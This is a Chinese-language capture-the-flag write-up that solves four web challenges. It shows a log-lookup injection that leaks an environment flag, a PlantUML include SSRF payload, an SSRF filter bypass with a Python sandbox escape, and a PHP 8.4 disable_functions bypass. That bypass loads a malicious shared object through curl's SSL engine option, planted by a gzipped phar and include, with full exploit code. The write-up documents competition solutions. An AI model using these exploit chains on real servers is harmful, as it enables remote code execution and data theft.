MiniVN-wp

5 min

chatrobot

先看下源码

app.py

在处理输入的时候会直接把可控的cmd拼接到java_command

def chat(cmd, text):
    env = os.environ.copy()
    env['FLAG'] = env['INSERT_FLAG']
    java_command = [
        'java',
        '-Xms48M',
        '-Xmx96M',
        f'-Dcmd={cmd}', #<---
        '-jar',
        JAVA_JAR_PATH, 
        text
    ]

题目给的两个路由的处理逻辑不一样,/路由会返回日志和正常输出,/chat只会返回正常输出

@app.route("/", methods=['GET', 'POST'])
def start():
    if request.method == 'POST':
        text_input = request.form.get('text', '').strip()
        if not text_input:
             return ('invalid message', 400)
        
        parts = text_input.split(' ', 1)
        cmd = parts[0]
        text = parts[1] if len(parts) > 1 else ''
        
        result = chat(cmd, text)
        return result.get('stdout', '') + result.get('stderr', '')	#<---
        
    return render_template('index.html')

@app.route("/chat", methods=['GET'])
def handle_chat_api():
    cmd = request.args.get('cmd', '').strip()
    arg = request.args.get('arg', '').strip()
    
    if not cmd:
        return ('invalid command', 400)

    result = chat(cmd, arg)
    
    out = result.get('stdout', '').strip()
    err = result.get('stderr', '').strip()

    return out	#<---

再看java

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="INFO">
    <Appenders>
        <Console name="Console" target="SYSTEM_ERR">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
            </PatternLayout>
        </Console>
    </Appenders>
    <Loggers>
        <Root level="debug">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

在日志里面${sys:cmd}会执行传入的cmd命令,然后通过/路由读取日志,达成rce

payload

POST:text=${env:FLAG}

notebook

题里说了plantuml,是打CVE-2023-3432

在网上找的payload

@startuml
!include http://127.0.0.1/flag.txt
Alice -> Bob: Message
@enduml

check_in

ssrf+pyjail

ssfr

路由/__internal/safe_eval需要从本地访问,打ssrf

/fetch检测传入url的开头,用@绕过

然后对传入参数部分检查,不能连续三个黑名单中的字符,这里没过滤百分号,用二次url编码绕过

GENERAL_WAF_REGEX = r'[a-zA-Z0-9_\[\]{}()<>,.!@#$^&*]{3}' # only two of these characters ;)
def check_hostname(url):
    # must starts with vnctf.
    if not url.startswith('http://vnctf.'):
        return False

    hostname = urlparse(url).hostname
    query = urlparse(url).query

    # must only contain two of the restricted characters
    if general_waf(query):
        return False

    # must not be an ip address, so no 127.0.0.1 or ::1
    try:
        ipaddress.ip_address(hostname)
        return False
    except ValueError:
        pass

    return url

Pyjail

爱来自typhon

本地没有3.10的环境又现下的

def Ty_RCE(cmd):
    import typhon
    typhon.bypassRCE(cmd=cmd,
                         banned_chr=['\\x', '+', 'join', '"', "'", '[', ']', '2', '3', '4', '5', '6', '7', '8', '9'],
                         local_scope={'__builtins__': None, 'lit': list, 'dic': dict},
                         max_length= 248)

Ty_RCE("env")

typhon跑出来一个能打通但是没回显的payload,直接用这个输出的是0

lit.__class__.__subclasses__(lit.__class__).__getitem__(0).register.__globals__.get(lit(dic(__builtins__=1)).__getitem__(0)).get(lit(dic(__import__=1)).__getitem__(0))(lit(dic(os=1)).__getitem__(0)).system(lit(dic(env=1)).__getitem__(0))

手动改改才能执行命令,但是不能有空格,没法直接读flag,读一下目录还可以

lit.__class__.__subclasses__(lit.__class__).__getitem__(0).register.__globals__.get(lit(dic(__builtins__=1)).__getitem__(0)).get(lit(dic(__import__=1)).__getitem__(0))(lit(dic(os=1)).__getitem__(0)).popen(lit(dic(ls=1)).__getitem__(0)).read()

改成open(‘flag’)读flag

lit.__class__.__subclasses__(lit.__class__).__getitem__(0).register.__globals__.get(lit(dic(__builtins__=1)).__getitem__(0)).get(lit(dic(open=1)).__getitem__(0))(lit(dic(flag=1)).__getitem__(0)).read()

法尔plus

给了phpinfo,8.4的,看到还有open_basedir和disable_function

题目里面常规的函数都给ban了,一般的rce根本用不了,最近刚好看到过,可以用curl加载动态链接或者sqlite加载来绕过

参考:https://fushuling.com/index.php/2025/11/01/%e6%9c%80%e6%96%b0%e7%89%88-php-%e7%bb%95-open_basedir-%e5%92%8c-disable_functions/

题目正好是php8.4,curl还没被修,disable_function里面也没禁curl的方法

恶意文件:

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

__attribute__((constructor)) void pwn() {
    
    system("ls -al / > /var/www/html/Pr0.txt");

    system("cat /flag >> /var/www/html/Pr0.txt");
}
gcc -shared -fPIC exp.c -o exp.so

要想get shell就需要加载so文件

$ch = curl_init();
curl_setopt($ch, CURLOPT_SSLENGINE,"/var/www/html/exp.so");
$data = curl_exec($ch);

接下来的问题是怎么加载这个so文件

题目中给了file_put_contents和include

在file_put_contents中直接把写入的文件保存为了phar文件,很明显打phar

class aaa {
    public $mode;

    public function __destruct(){
        $data = $_POST[0];
        if ($this->mode == 'w') {
            waf($data);
            echo $data;
            $filename = "/var/www/html/".md5(rand()).".phar";
            file_put_contents($filename, $data);
            echo $filename;
        } else if ($this->mode == 'r') {
            waf($data);
            $f = include($data);
            if($f){
                echo "yesyesyes";
            }
            else{
                echo "You can look at the others";
            }
        }
    }
}

问题来了,phar该怎么实现rce呢

刚好,还有一个文章https://xz.aliyun.com/news/18584

include在对一个压缩后phar文件进行包含的时候,会自动解压并且能够执行里面的命令

于是我们就能够写入任意的文件内容,并且加载我们传入的so文件从而实现rce

payload

//创建压缩文件
<?php
$so_content = file_get_contents("exp.so");
$so_base64 = base64_encode($so_content);//把恶意so文件变成base64的形式写入phar文件

class aaa {
    public $mode;
}

$phar = new Phar("exploit.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");//身份证(

$code = '\<?php
$b64 = "' . $so_base64 . '";
$so = base64_decode($b64);
file_put_contents("/var/www/html/exp.so", $so);

$ch = curl_init();
curl_setopt($ch, CURLOPT_SSLENGINE, "/var/www/html/exp.so");
curl_exec($ch);
?>';//对传入的so文件的base64解码并写入,然后加载这个so文件

$phar->addFromString("shell.txt", $code);
$phar->setMetadata(new aaa());
$phar->stopBuffering();

$data = file_get_contents("exploit.phar");
$gz_data = gzencode($data);
file_put_contents("exploit.phar.gz", $gz_data);//压缩绕waf
?>

传入并包含

import requests
import re

url = "http://challenge.ilovectf.cn:30282/1.php"

#以二进制的形式传入压缩包
step1_serialize = 'O:3:"aaa":1:{s:4:"mode";s:1:"w";}'

with open("C:\\Users\\27190\\Desktop\\tmp\\exploit.phar.gz", "rb") as f:
    phar_content = f.read()

resp1 = requests.post(url, data={"0": phar_content,"1": step1_serialize})

#获取文件名
match = re.search(r'/var/www/html/[a-f0-9]+\.phar', resp1.text)
filename = match.group(0)

#读取
step2_serialize = 'O:3:"aaa":1:{s:4:"mode";s:1:"r";}'
payload_path = f"phar://{filename}/shell.txt"

resp2 = requests.post(url, data={
    "0": payload_path,
    "1": step2_serialize
})

print(resp2.text)